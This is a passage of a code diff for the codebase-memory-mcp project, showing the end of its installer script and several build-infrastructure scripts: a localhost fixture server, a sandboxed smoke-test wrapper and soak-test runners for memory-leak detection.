||||
if [ "$tool" = "curl" ]; then
|
||||
curl -fsSL "$url"
|
||||
else
|
||||
wget -qO- "$url"
|
||||
fi
|
||||
}
|
||||
|
||||
download_binary() {
|
||||
local platform="$1" tool="$2"
|
||||
|
||||
echo ""
|
||||
echo "${BOLD}Fetching latest release...${RESET}"
|
||||
local tag
|
||||
tag=$(fetch "https://api.github.com/repos/${REPO}/releases/latest" "$tool" | grep '"tag_name"' | head -1 | sed 's/.*"tag_name": *"//;s/".*//')
|
||||
|
||||
if [ -z "$tag" ]; then
|
||||
die "Could not determine latest release. Check https://github.com/${REPO}/releases"
|
||||
fi
|
||||
ok "Latest release: $tag"
|
||||
|
||||
local asset="codebase-memory-mcp-${platform}.tar.gz"
|
||||
local url="https://github.com/${REPO}/releases/download/${tag}/${asset}"
|
||||
|
||||
echo "${BOLD}Downloading ${asset}...${RESET}"
|
||||
CLEANUP_DIR=$(mktemp -d)
|
||||
trap 'rm -rf "$CLEANUP_DIR"' EXIT
|
||||
local tmpdir="$CLEANUP_DIR"
|
||||
|
||||
fetch "$url" "$tool" > "${tmpdir}/${asset}"
|
||||
tar -xzf "${tmpdir}/${asset}" -C "$tmpdir"
|
||||
|
||||
mkdir -p "$INSTALL_DIR"
|
||||
mv "${tmpdir}/${BINARY_NAME}" "${INSTALL_DIR}/${BINARY_NAME}"
|
||||
chmod +x "${INSTALL_DIR}/${BINARY_NAME}"
|
||||
|
||||
ok "Installed to ${INSTALL_DIR}/${BINARY_NAME}"
|
||||
}
|
||||
|
||||
# --- Build from source ---
|
||||
|
||||
build_from_source() {
|
||||
echo ""
|
||||
echo "${BOLD}Checking prerequisites...${RESET}"
|
||||
check_go_version
|
||||
check_c_compiler
|
||||
check_git
|
||||
|
||||
echo ""
|
||||
if [ -d "$SOURCE_DIR/.git" ]; then
|
||||
echo "${BOLD}Updating source...${RESET}"
|
||||
git -C "$SOURCE_DIR" pull --ff-only
|
||||
else
|
||||
echo "${BOLD}Cloning repository...${RESET}"
|
||||
mkdir -p "$(dirname "$SOURCE_DIR")"
|
||||
git clone "https://github.com/${REPO}.git" "$SOURCE_DIR"
|
||||
fi
|
||||
ok "Source at ${SOURCE_DIR}"
|
||||
|
||||
echo ""
|
||||
echo "${BOLD}Building binary (this may take a minute)...${RESET}"
|
||||
mkdir -p "$INSTALL_DIR"
|
||||
|
||||
(cd "$SOURCE_DIR" && scripts/build.sh && cp build/c/codebase-memory-mcp "${INSTALL_DIR}/${BINARY_NAME}")
|
||||
|
||||
ok "Built and installed to ${INSTALL_DIR}/${BINARY_NAME}"
|
||||
}
|
||||
|
||||
# --- MCP auto-configuration ---
|
||||
|
||||
configure_claude() {
|
||||
echo ""
|
||||
local binary_path="${INSTALL_DIR}/${BINARY_NAME}"
|
||||
local claude_config_dir="${CLAUDE_CONFIG_DIR:-$HOME/.claude}"
|
||||
local settings_file="${claude_config_dir}/settings.json"
|
||||
|
||||
printf "%s" "${BOLD}Configure Claude Code to use codebase-memory-mcp? [y/N] ${RESET}"
|
||||
read -r answer
|
||||
if [[ ! "$answer" =~ ^[Yy]$ ]]; then
|
||||
echo ""
|
||||
info "Add this to your .mcp.json or ${claude_config_dir}/settings.json:"
|
||||
echo ""
|
||||
echo ' {'
|
||||
echo ' "mcpServers": {'
|
||||
echo ' "codebase-memory-mcp": {'
|
||||
echo ' "type": "stdio",'
|
||||
echo " \"command\": \"${binary_path}\""
|
||||
echo ' }'
|
||||
echo ' }'
|
||||
echo ' }'
|
||||
return
|
||||
fi
|
||||
|
||||
local mcp_entry
|
||||
mcp_entry=$(cat <<JSONEOF
|
||||
{"type":"stdio","command":"${binary_path}"}
|
||||
JSONEOF
|
||||
)
|
||||
|
||||
mkdir -p "$(dirname "$settings_file")"
|
||||
|
||||
if command -v jq &>/dev/null; then
|
||||
# Use jq to merge
|
||||
if [ -f "$settings_file" ]; then
|
||||
local tmp
|
||||
tmp=$(mktemp)
|
||||
jq --argjson entry "$mcp_entry" '.mcpServers["codebase-memory-mcp"] = $entry' "$settings_file" > "$tmp"
|
||||
mv "$tmp" "$settings_file"
|
||||
else
|
||||
echo "{}" | jq --argjson entry "$mcp_entry" '.mcpServers["codebase-memory-mcp"] = $entry' > "$settings_file"
|
||||
fi
|
||||
ok "Updated ${settings_file}"
|
||||
elif command -v python3 &>/dev/null; then
|
||||
python3 -c "
|
||||
import json, os
|
||||
path = os.path.expanduser('$settings_file')
|
||||
data = {}
|
||||
if os.path.exists(path):
|
||||
with open(path) as f:
|
||||
data = json.load(f)
|
||||
data.setdefault('mcpServers', {})['codebase-memory-mcp'] = json.loads('$mcp_entry')
|
||||
with open(path, 'w') as f:
|
||||
json.dump(data, f, indent=2)
|
||||
print()
|
||||
"
|
||||
ok "Updated ${settings_file}"
|
||||
else
|
||||
warn "Neither jq nor python3 found — cannot auto-configure."
|
||||
echo ""
|
||||
info "Add this to ${settings_file} manually:"
|
||||
echo ""
|
||||
echo ' "mcpServers": {'
|
||||
echo ' "codebase-memory-mcp": {'
|
||||
echo ' "type": "stdio",'
|
||||
echo " \"command\": \"${binary_path}\""
|
||||
echo ' }'
|
||||
echo ' }'
|
||||
fi
|
||||
}
|
||||
|
||||
# --- PATH check ---
|
||||
|
||||
check_path() {
|
||||
if [[ ":$PATH:" != *":${INSTALL_DIR}:"* ]]; then
|
||||
echo ""
|
||||
warn "${INSTALL_DIR} is not on your PATH."
|
||||
info "Add this to your shell profile (~/.bashrc, ~/.zshrc, etc.):"
|
||||
echo ""
|
||||
echo " export PATH=\"${INSTALL_DIR}:\$PATH\""
|
||||
fi
|
||||
}
|
||||
|
||||
# --- Main ---
|
||||
|
||||
echo ""
|
||||
echo "${BOLD}codebase-memory-mcp installer${RESET}"
|
||||
echo ""
|
||||
|
||||
if [ "$FROM_SOURCE" = true ]; then
|
||||
build_from_source
|
||||
else
|
||||
platform=$(detect_platform)
|
||||
ok "Platform: ${platform}"
|
||||
tool=$(check_download_tool)
|
||||
ok "Download tool: ${tool}"
|
||||
download_binary "$platform" "$tool"
|
||||
fi
|
||||
|
||||
# Verify binary
|
||||
if [ ! -x "${INSTALL_DIR}/${BINARY_NAME}" ]; then
|
||||
die "Binary at ${INSTALL_DIR}/${BINARY_NAME} is not executable"
|
||||
fi
|
||||
|
||||
ver_output=$("${INSTALL_DIR}/${BINARY_NAME}" --version 2>&1) || true
|
||||
if [ -n "$ver_output" ]; then
|
||||
ok "$ver_output"
|
||||
else
|
||||
ok "Binary is executable"
|
||||
fi
|
||||
|
||||
configure_claude
|
||||
check_path
|
||||
|
||||
# --- Git hooks ---
|
||||
# If run from inside the repo, activate tracked hooks
|
||||
if [ -d "scripts/hooks" ] && git rev-parse --git-dir &>/dev/null; then
|
||||
git config core.hooksPath scripts/hooks
|
||||
ok "Git hooks activated (scripts/hooks/)"
|
||||
fi
|
||||
|
||||
echo ""
|
||||
ok "Done! Restart Claude Code and verify with /mcp"
|
||||
echo ""
|
||||
info "To uninstall:"
|
||||
info " rm ${INSTALL_DIR}/${BINARY_NAME}"
|
||||
info " rm -rf ${SOURCE_DIR} # if built from source"
|
||||
info " rm -rf ~/.cache/codebase-memory-mcp/ # graph database"
|
||||
@@ -0,0 +1,80 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Serve smoke-test release artifacts from a race-free ephemeral port."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import functools
|
||||
import http.server
|
||||
import os
|
||||
import pathlib
|
||||
import socketserver
|
||||
import tempfile
|
||||
|
||||
|
||||
class FixtureHTTPServer(http.server.ThreadingHTTPServer):
|
||||
"""Bind without the stdlib's reverse-DNS lookup.
|
||||
|
||||
http.server.HTTPServer.server_bind() resolves socket.getfqdn(host). On a
|
||||
host whose resolver does not answer for the bind address that call blocks
|
||||
for the resolver timeout, so the process stays alive and never reaches
|
||||
publish_port -- observed on macOS Intel runners as waited=30.0s,
|
||||
exit_status=alive, port_file=absent, empty startup log. The FQDN only
|
||||
feeds CGI-style variables this fixture never serves, so binding without
|
||||
it is both sufficient and immune to resolver behaviour.
|
||||
"""
|
||||
|
||||
def server_bind(self) -> None:
|
||||
socketserver.TCPServer.server_bind(self)
|
||||
host, port = self.server_address[:2]
|
||||
self.server_name = host
|
||||
self.server_port = port
|
||||
|
||||
|
||||
def publish_port(port_file: pathlib.Path, port: int) -> None:
|
||||
"""Atomically publish the assigned port after the listening socket exists."""
|
||||
port_file.parent.mkdir(parents=True, exist_ok=True)
|
||||
with tempfile.NamedTemporaryFile(
|
||||
mode="w",
|
||||
encoding="ascii",
|
||||
dir=port_file.parent,
|
||||
prefix=f".{port_file.name}.",
|
||||
delete=False,
|
||||
) as temporary:
|
||||
temporary.write(f"{port}\n")
|
||||
temporary.flush()
|
||||
temporary_path = pathlib.Path(temporary.name)
|
||||
try:
|
||||
os.replace(temporary_path, port_file)
|
||||
except BaseException:
|
||||
temporary_path.unlink(missing_ok=True)
|
||||
raise
|
||||
|
||||
|
||||
def main() -> None:
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("--directory", required=True, type=pathlib.Path)
|
||||
parser.add_argument("--port-file", required=True, type=pathlib.Path)
|
||||
parser.add_argument("--bind", default="127.0.0.1")
|
||||
args = parser.parse_args()
|
||||
|
||||
directory = args.directory.resolve(strict=True)
|
||||
if not directory.is_dir():
|
||||
parser.error(f"--directory is not a directory: {directory}")
|
||||
|
||||
handler = functools.partial(
|
||||
http.server.SimpleHTTPRequestHandler,
|
||||
directory=str(directory),
|
||||
)
|
||||
with FixtureHTTPServer((args.bind, 0), handler) as server:
|
||||
publish_port(args.port_file, server.server_port)
|
||||
print(
|
||||
f"smoke fixture server: http://{args.bind}:{server.server_port} "
|
||||
f"from {directory}",
|
||||
flush=True,
|
||||
)
|
||||
server.serve_forever()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,226 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Full local smoke, including the release download/install/update phases that
|
||||
# plain `scripts/smoke-test.sh <binary>` skips without an artifact fixture.
|
||||
#
|
||||
# Usage: scripts/smoke-local.sh <binary> [ui]
|
||||
# <binary> product binary to smoke (e.g. build/c/codebase-memory-mcp)
|
||||
# ui optional: mirror the -ui variant asset naming
|
||||
|
||||
usage() {
|
||||
cat <<'EOF'
|
||||
Usage: scripts/smoke-local.sh <binary> [standard|ui]
|
||||
|
||||
The canonical unix smoke entry: identical in local CI, PR CI, dry run and
|
||||
release. Stages a complete release fixture (binary + LICENSE + install.sh +
|
||||
THIRD_PARTY_NOTICES.md), serves it on a kernel-assigned port, then runs
|
||||
scripts/smoke-test.sh (all phases, including the download/checksum/install/
|
||||
update E2E) inside a disposable HOME/XDG/TMPDIR sandbox with every agent-config
|
||||
destination override neutralized.
|
||||
|
||||
Arguments:
|
||||
<binary> Product binary to smoke (e.g. build/c/codebase-memory-mcp).
|
||||
ui Mirror the -ui asset naming AND require the embedded UI:
|
||||
Phase 15's "no assets" outcome becomes a FAILURE
|
||||
(SMOKE_REQUIRE_UI=1), so a standard binary cannot pass a ui run.
|
||||
|
||||
Environment:
|
||||
CBM_SMOKE_ARTIFACT_DIR Release mode: an EXTRACTED release artifact
|
||||
directory. Sidecars (LICENSE, install.sh, THIRD_PARTY_NOTICES.md)
|
||||
are validated and served from THERE instead of regenerated, so
|
||||
the release venue smokes exactly the bytes it publishes; an
|
||||
incomplete archive fails the smoke. Unset (default): sidecars
|
||||
come from this checkout (local/PR mode).
|
||||
|
||||
Callers: pr.yml pr-smoke (ubuntu/macos) · _smoke.yml smoke-unix +
|
||||
smoke-linux-portable (with CBM_SMOKE_ARTIFACT_DIR) · compose smoke services.
|
||||
Windows uses the sibling test-infrastructure/vm/vm-smoke.sh.
|
||||
EOF
|
||||
}
|
||||
case "${1:-}" in
|
||||
-h|--help) usage; exit 0 ;;
|
||||
-*) echo "smoke-local: unknown option '$1'. Please consult --help." >&2; exit 2 ;;
|
||||
esac
|
||||
if [ $# -gt 2 ]; then
|
||||
echo "smoke-local: too many arguments. Please consult --help." >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
BINARY="${1:?smoke-local: missing <binary> argument. Please consult --help.}"
|
||||
VARIANT="${2:-standard}"
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
|
||||
BINARY="$(cd "$(dirname "$BINARY")" && pwd)/$(basename "$BINARY")"
|
||||
|
||||
if [ ! -x "$BINARY" ]; then
|
||||
echo "smoke-local: binary is not executable: $BINARY" >&2
|
||||
exit 2
|
||||
fi
|
||||
# A ui run must be handed a binary that actually carries the embedded assets;
|
||||
# the suffix alone only renames the archive. SMOKE_REQUIRE_UI turns Phase 15's
|
||||
# documented "no embedded assets" SKIP into a failure, so asking for ui and
|
||||
# supplying a standard binary can no longer pass quietly.
|
||||
case "$VARIANT" in
|
||||
standard) SUFFIX="" ; REQUIRE_UI=0 ;;
|
||||
ui) SUFFIX="-ui" ; REQUIRE_UI=1 ;;
|
||||
*) echo "smoke-local: variant must be 'standard' or 'ui'. Please consult --help." >&2; exit 2 ;;
|
||||
esac
|
||||
|
||||
# Unset (the local + PR default): synthesize the release sidecars from this
|
||||
# checkout. Set: take them from an EXTRACTED release artifact, so the release
|
||||
# venue serves the files it is about to publish rather than regenerated copies.
|
||||
ARTIFACT_DIR="${CBM_SMOKE_ARTIFACT_DIR:-}"
|
||||
if [ -n "$ARTIFACT_DIR" ]; then
|
||||
ARTIFACT_DIR="$(cd "$ARTIFACT_DIR" && pwd)"
|
||||
for required in LICENSE install.sh THIRD_PARTY_NOTICES.md; do
|
||||
[ -s "$ARTIFACT_DIR/$required" ] || {
|
||||
echo "smoke-local: release artifact is missing $required" >&2
|
||||
exit 2
|
||||
}
|
||||
done
|
||||
fi
|
||||
|
||||
case "$(uname -s)" in
|
||||
Darwin) OS=darwin ;;
|
||||
Linux) OS=linux ;;
|
||||
*) echo "smoke-local: unsupported host OS $(uname -s)" >&2; exit 2 ;;
|
||||
esac
|
||||
case "$(uname -m)" in
|
||||
arm64 | aarch64) ARCH=arm64 ;;
|
||||
x86_64)
|
||||
# Match install.sh: a Rosetta shell reports x86_64 even though the
|
||||
# installer correctly selects the native Apple Silicon artifact.
|
||||
if [ "$OS" = "darwin" ] &&
|
||||
sysctl -n machdep.cpu.brand_string 2>/dev/null | grep -qi apple; then
|
||||
ARCH=arm64
|
||||
else
|
||||
ARCH=amd64
|
||||
fi
|
||||
;;
|
||||
*) echo "smoke-local: unsupported host arch $(uname -m)" >&2; exit 2 ;;
|
||||
esac
|
||||
|
||||
WORK_DIR=$(mktemp -d "${TMPDIR:-/tmp}/cbm-smoke-server-XXXXXX")
|
||||
FIXTURE_DIR="$WORK_DIR/artifacts"
|
||||
SMOKE_TEMP_DIR="$WORK_DIR/temp"
|
||||
SMOKE_HOME="$WORK_DIR/home"
|
||||
SMOKE_XDG_CONFIG="$WORK_DIR/xdg-config"
|
||||
SMOKE_APPDATA="$WORK_DIR/appdata"
|
||||
SMOKE_LOCALAPPDATA="$WORK_DIR/localappdata"
|
||||
PORT_FILE="$WORK_DIR/port"
|
||||
SERVER_LOG="$WORK_DIR/server.log"
|
||||
SERVER_PID=""
|
||||
cleanup() {
|
||||
if [ -n "$SERVER_PID" ]; then
|
||||
kill "$SERVER_PID" 2>/dev/null || true
|
||||
wait "$SERVER_PID" 2>/dev/null || true
|
||||
fi
|
||||
rm -rf "$WORK_DIR"
|
||||
}
|
||||
trap cleanup EXIT
|
||||
|
||||
mkdir -p "$FIXTURE_DIR" "$SMOKE_TEMP_DIR" "$SMOKE_HOME" "$SMOKE_XDG_CONFIG" \
|
||||
"$SMOKE_APPDATA" "$SMOKE_LOCALAPPDATA"
|
||||
cp "$BINARY" "$FIXTURE_DIR/codebase-memory-mcp"
|
||||
if [ -n "$ARTIFACT_DIR" ]; then
|
||||
cp "$ARTIFACT_DIR/LICENSE" "$ARTIFACT_DIR/install.sh" \
|
||||
"$ARTIFACT_DIR/THIRD_PARTY_NOTICES.md" "$FIXTURE_DIR/"
|
||||
else
|
||||
cp "$ROOT/LICENSE" "$ROOT/install.sh" "$FIXTURE_DIR/"
|
||||
"$ROOT/scripts/gen-third-party-notices.sh" "$FIXTURE_DIR/THIRD_PARTY_NOTICES.md"
|
||||
fi
|
||||
|
||||
EXPECTED_ARTIFACT="codebase-memory-mcp${SUFFIX}-${OS}-${ARCH}.tar.gz"
|
||||
tar -czf "$FIXTURE_DIR/$EXPECTED_ARTIFACT" -C "$FIXTURE_DIR" \
|
||||
codebase-memory-mcp LICENSE install.sh THIRD_PARTY_NOTICES.md
|
||||
if [ -n "$SUFFIX" ]; then
|
||||
cp "$FIXTURE_DIR/$EXPECTED_ARTIFACT" \
|
||||
"$FIXTURE_DIR/codebase-memory-mcp-${OS}-${ARCH}.tar.gz"
|
||||
fi
|
||||
|
||||
# Linux install/update resolves the portable release asset even when this local
|
||||
# smoke started from the dynamic production binary.
|
||||
if [ "$OS" = "linux" ]; then
|
||||
cp "$FIXTURE_DIR/$EXPECTED_ARTIFACT" \
|
||||
"$FIXTURE_DIR/codebase-memory-mcp${SUFFIX}-${OS}-${ARCH}-portable.tar.gz"
|
||||
if [ -n "$SUFFIX" ]; then
|
||||
cp "$FIXTURE_DIR/codebase-memory-mcp${SUFFIX}-${OS}-${ARCH}-portable.tar.gz" \
|
||||
"$FIXTURE_DIR/codebase-memory-mcp-${OS}-${ARCH}-portable.tar.gz"
|
||||
fi
|
||||
fi
|
||||
(cd "$FIXTURE_DIR" && { sha256sum *.tar.gz > checksums.txt 2>/dev/null ||
|
||||
shasum -a 256 *.tar.gz > checksums.txt; })
|
||||
|
||||
python3 "$ROOT/scripts/smoke-fixture-server.py" \
|
||||
--directory "$FIXTURE_DIR" --port-file "$PORT_FILE" \
|
||||
>"$SERVER_LOG" 2>&1 &
|
||||
SERVER_PID=$!
|
||||
|
||||
PORT=""
|
||||
READY=0
|
||||
for _ in $(seq 1 100); do
|
||||
if [ -s "$PORT_FILE" ]; then
|
||||
PORT=$(tr -d '[:space:]' < "$PORT_FILE")
|
||||
# Header-only readiness (see vm-smoke.sh): proves routing without a
|
||||
# full body transfer per poll; the download phases own body transport.
|
||||
if curl --noproxy '*' -fsSI \
|
||||
"http://127.0.0.1:$PORT/$EXPECTED_ARTIFACT" >/dev/null 2>&1; then
|
||||
READY=1
|
||||
break
|
||||
fi
|
||||
fi
|
||||
if ! kill -0 "$SERVER_PID" 2>/dev/null; then
|
||||
break
|
||||
fi
|
||||
sleep 0.1
|
||||
done
|
||||
if [ "$READY" -ne 1 ]; then
|
||||
echo "smoke-local: fixture server did not serve $EXPECTED_ARTIFACT" >&2
|
||||
echo "--- fixture server log ---" >&2
|
||||
cat "$SERVER_LOG" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Full smoke deliberately runs real install/update/uninstall paths. Keep every
|
||||
# supported agent destination override inside this disposable root so an
|
||||
# ambient developer setting cannot redirect those mutations into live config.
|
||||
env \
|
||||
-u CLAUDE_CONFIG_DIR \
|
||||
-u CODEX_HOME \
|
||||
-u KIRO_HOME \
|
||||
-u HERMES_HOME \
|
||||
-u QWEN_HOME \
|
||||
-u CLINE_DATA_DIR \
|
||||
-u OPENCLAW_HOME \
|
||||
-u OPENCLAW_STATE_DIR \
|
||||
-u OPENCLAW_PROFILE \
|
||||
-u OPENCLAW_CONFIG_PATH \
|
||||
-u OPENCLAW_WORKSPACE_DIR \
|
||||
-u OPENCODE_CONFIG \
|
||||
-u OPENCODE_CONFIG_DIR \
|
||||
-u COPILOT_HOME \
|
||||
-u CRUSH_GLOBAL_CONFIG \
|
||||
-u VIBE_HOME \
|
||||
-u GLAB_CONFIG_DIR \
|
||||
-u KIMI_CODE_HOME \
|
||||
-u CBM_CONTINUE_CONFIG_PATH \
|
||||
-u CBM_TRAE_CONFIG_PATH \
|
||||
-u CBM_ROO_CONFIG_PATH \
|
||||
-u CBM_CODY_CONFIG_PATH \
|
||||
-u CBM_TEST_WINDOWS_USER_PATH_RUN_ID \
|
||||
HOME="$SMOKE_HOME" \
|
||||
USERPROFILE="$SMOKE_HOME" \
|
||||
XDG_CONFIG_HOME="$SMOKE_XDG_CONFIG" \
|
||||
APPDATA="$SMOKE_APPDATA" \
|
||||
LOCALAPPDATA="$SMOKE_LOCALAPPDATA" \
|
||||
TMPDIR="$SMOKE_TEMP_DIR" \
|
||||
TEMP="$SMOKE_TEMP_DIR" \
|
||||
TMP="$SMOKE_TEMP_DIR" \
|
||||
SHELL="/bin/sh" \
|
||||
CBM_CACHE_DIR="$WORK_DIR/cache" \
|
||||
SMOKE_TEMP_ROOT="$SMOKE_TEMP_DIR" \
|
||||
SMOKE_DOWNLOAD_URL="http://127.0.0.1:$PORT" \
|
||||
SMOKE_UPDATE_FIXTURE_DIR="$FIXTURE_DIR" \
|
||||
SMOKE_ARCH="$ARCH" \
|
||||
SMOKE_REQUIRE_UI="$REQUIRE_UI" \
|
||||
"$ROOT/scripts/smoke-test.sh" "$BINARY"
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,126 @@
|
||||
#!/usr/bin/env bash
|
||||
# soak-legs.sh — THE canonical soak leg entry. Every venue calls this file.
|
||||
#
|
||||
# Runs the soak SEQUENCE — the quick soak, then the read-only #581 query-leak
|
||||
# detector — with the completion-summary guard applied to each leg. Before this
|
||||
# file existed the sequence was hand-copied six times across _soak.yml, once in
|
||||
# vm-run-tests.sh and once in docker-compose.yml; venues drifted (CI soaked
|
||||
# without the query-leak guard's temp hardening, local soaked without the
|
||||
# query-leak leg at all). Venue-specific text is now limited to provisioning;
|
||||
# the sequence lives here and only here.
|
||||
#
|
||||
# Callers: .github/workflows/_soak.yml (all platforms) · win.sh soak (via
|
||||
# vm-run-tests.sh --soak) · test-infrastructure/run.sh soak-linux (compose).
|
||||
set -euo pipefail
|
||||
|
||||
usage() {
|
||||
cat <<'EOF'
|
||||
Usage: scripts/soak-legs.sh [--legs LIST] <binary> <duration-minutes>
|
||||
|
||||
The canonical soak entry: identical in local CI, PR CI, dry run and release.
|
||||
Runs each requested leg through scripts/soak-test.sh and hard-fails any leg
|
||||
that exits zero without printing its completion summary (a crashed or killed
|
||||
soak must never read as green).
|
||||
|
||||
Legs (default: quick,query-leak — the release-gating sequence):
|
||||
quick scripts/soak-test.sh <binary> <minutes>
|
||||
Default soak: periodic reindex + query churn + crash-recovery.
|
||||
Results in soak-results/.
|
||||
query-leak CBM_SOAK_MODE=query-leak, --skip-crash-test, results in
|
||||
soak-results-query-leak/. The #581 detector: after the initial
|
||||
index it NEVER reindexes or mutates, so any RSS growth is a
|
||||
query-path leak, not WAL/indexing churn.
|
||||
|
||||
Options:
|
||||
--legs LIST Comma-separated subset, e.g. --legs quick. The ASan soak jobs
|
||||
use this (a 15-min single-leg soak under ASan); local iteration
|
||||
may too. Order is preserved; unknown names fail fast.
|
||||
-h, --help This text.
|
||||
|
||||
Environment:
|
||||
ASAN_OPTIONS etc. pass through to the binary unchanged.
|
||||
RESULTS_DIR is owned by this script (per-leg); do not pre-set it.
|
||||
|
||||
Examples:
|
||||
scripts/soak-legs.sh build/c/codebase-memory-mcp 10 # both legs, 10m each
|
||||
scripts/soak-legs.sh --legs quick build/c/codebase-memory-mcp 15 # ASan-style
|
||||
EOF
|
||||
}
|
||||
|
||||
LEGS="quick,query-leak"
|
||||
while [ $# -gt 0 ]; do
|
||||
case "$1" in
|
||||
--legs) LEGS="${2:?--legs needs a comma-separated list}"; shift ;;
|
||||
--legs=*) LEGS="${1#--legs=}" ;;
|
||||
-h | --help) usage; exit 0 ;;
|
||||
--*) echo "soak-legs: unknown option '$1'. Please consult --help." >&2; exit 2 ;;
|
||||
*) break ;;
|
||||
esac
|
||||
shift
|
||||
done
|
||||
|
||||
BINARY="${1:?soak-legs: missing <binary>. Please consult --help.}"
|
||||
DURATION="${2:?soak-legs: missing <duration-minutes>. Please consult --help.}"
|
||||
case "$DURATION" in
|
||||
'' | *[!0-9]*) echo "soak-legs: duration must be a positive integer (minutes). Please consult --help." >&2; exit 2 ;;
|
||||
esac
|
||||
[ "$DURATION" -gt 0 ] || { echo "soak-legs: duration must be positive" >&2; exit 2; }
|
||||
# Windows builds produce <name>.exe; resolve it here so every venue passes the
|
||||
# same plain path and carries no per-platform binary-name logic of its own.
|
||||
# Resolve whenever the .exe EXISTS, not only when the plain name fails -x:
|
||||
# msys resolves the suffix-less name transparently (it IS -x), but soak-test
|
||||
# keys its native-Windows handling — cygpath'd CBM_CACHE_DIR, coproc stdio —
|
||||
# off the literal .exe suffix. A suffix-less native binary therefore received
|
||||
# a POSIX-form cache path, mis-rooting the daemon logs and silently disabling
|
||||
# diagnostics (both hosted-runner Windows soak legs; reproduced on the VM's
|
||||
# CLANG64 environment with a suffix-less invocation).
|
||||
if [[ "$BINARY" != *.exe ]] && [ -x "${BINARY}.exe" ]; then
|
||||
BINARY="${BINARY}.exe"
|
||||
fi
|
||||
[ -x "$BINARY" ] || { echo "soak-legs: binary '$BINARY' missing or not executable — build first" >&2; exit 2; }
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
|
||||
|
||||
run_leg() {
|
||||
local leg="$1"
|
||||
local log
|
||||
# No suffix after the X run: BSD mktemp substitutes only TRAILING X's, so
|
||||
# a template like ...XXXXXX.log creates a near-literal file on macOS and
|
||||
# every second run collides with the first run's leftover ("File exists").
|
||||
log="$(mktemp "${TMPDIR:-/tmp}/cbm-soak-leg-XXXXXX")"
|
||||
echo "=== soak-legs: leg=${leg} binary=${BINARY} duration=${DURATION}m ==="
|
||||
local rc=0
|
||||
case "$leg" in
|
||||
quick)
|
||||
"$ROOT/scripts/soak-test.sh" "$BINARY" "$DURATION" 2>&1 | tee "$log"
|
||||
rc="${PIPESTATUS[0]}"
|
||||
;;
|
||||
query-leak)
|
||||
CBM_SOAK_MODE=query-leak RESULTS_DIR=soak-results-query-leak \
|
||||
"$ROOT/scripts/soak-test.sh" "$BINARY" "$DURATION" --skip-crash-test 2>&1 | tee "$log"
|
||||
rc="${PIPESTATUS[0]}"
|
||||
;;
|
||||
*)
|
||||
echo "soak-legs: unknown leg '$leg' (known: quick, query-leak)" >&2
|
||||
rm -f -- "$log"
|
||||
return 2
|
||||
;;
|
||||
esac
|
||||
# A soak whose log lacks the completion summary did not validly run to the
|
||||
# end, whatever its exit code says — same guard class as the test runner's.
|
||||
if ! grep -Fq '=== soak-test: PASSED ===' "$log"; then
|
||||
echo "GUARD: soak leg '${leg}' produced no completion summary; treating as" \
|
||||
"failure (soak rc=$rc)" >&2
|
||||
rm -f -- "$log"
|
||||
return 90
|
||||
fi
|
||||
rm -f -- "$log"
|
||||
return "$rc"
|
||||
}
|
||||
|
||||
IFS=',' read -r -a leg_list <<<"$LEGS"
|
||||
[ "${#leg_list[@]}" -gt 0 ] || { echo "soak-legs: --legs resolved to nothing" >&2; exit 2; }
|
||||
for leg in "${leg_list[@]}"; do
|
||||
run_leg "$leg"
|
||||
done
|
||||
echo "=== soak-legs: all legs passed (${LEGS}) ==="
|
||||
@@ -0,0 +1,935 @@
|
||||
#!/usr/bin/env bash
|
||||
# soak-test.sh — Endurance test for codebase-memory-mcp.
|
||||
#
|
||||
# Runs compressed workload cycles: queries, file mutations, reindexes, idle periods.
|
||||
# Reads the randomized diagnostics path emitted by the daemon (requires
|
||||
# CBM_DIAGNOSTICS=1).
|
||||
# Outputs metrics to soak-results/ and exits 0 (pass) or 1 (fail).
|
||||
#
|
||||
# Usage:
|
||||
# scripts/soak-test.sh <binary> <duration_minutes> [--skip-crash-test]
|
||||
#
|
||||
# Tiers:
|
||||
# 10 min = quick soak (CI gate)
|
||||
# 15 min = ASan soak (leak detection)
|
||||
# 240 min = nightly (compressed 4h = ~5 days real usage)
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
case "${1:-}" in
|
||||
-h|--help)
|
||||
cat <<'HELPEOF'
|
||||
Usage: scripts/soak-test.sh <binary> <duration_minutes> [--skip-crash-test]
|
||||
|
||||
INTERNAL harness — do not call directly in a venue. The canonical entry is
|
||||
scripts/soak-legs.sh, which runs the release-gating leg SEQUENCE (quick +
|
||||
query-leak) with a completion-summary guard per leg; the venue-parity contract
|
||||
forbids direct calls in any venue.
|
||||
|
||||
Arguments:
|
||||
<binary> product binary to soak
|
||||
<duration_minutes> positive integer, per run
|
||||
--skip-crash-test skip the crash-recovery phase (query-leak leg sets this)
|
||||
|
||||
Environment:
|
||||
CBM_SOAK_MODE default | query-leak (#581 detector: never reindex/mutate
|
||||
after the initial index, so RSS growth = query-path leak)
|
||||
RESULTS_DIR metrics output dir (default soak-results; soak-legs.sh owns
|
||||
this per leg)
|
||||
|
||||
Pass/fail: RSS slope / ratio / ceiling analysis; prints
|
||||
"=== soak-test: PASSED ===" or "=== soak-test: FAILED ===" and exits 0/1.
|
||||
HELPEOF
|
||||
exit 0
|
||||
;;
|
||||
esac
|
||||
|
||||
BINARY="${1:?soak-test: missing <binary>. Please consult --help.}"
|
||||
DURATION_MIN="${2:?soak-test: missing <duration_minutes>. Please consult --help.}"
|
||||
SKIP_CRASH="${3:-}"
|
||||
BINARY=$(cd "$(dirname "$BINARY")" && pwd)/$(basename "$BINARY")
|
||||
|
||||
# Soak mode selector.
|
||||
# default = original mixed workload (queries + mutations + periodic reindex
|
||||
# + crash-recovery). Unchanged from before this env var existed.
|
||||
# query-leak = #581 detector. After the initial index, NEVER reindex and NEVER
|
||||
# mutate files, so the mimalloc page-return path (cbm_mem_collect,
|
||||
# triggered by index_repository) is never invoked and cannot sweep
|
||||
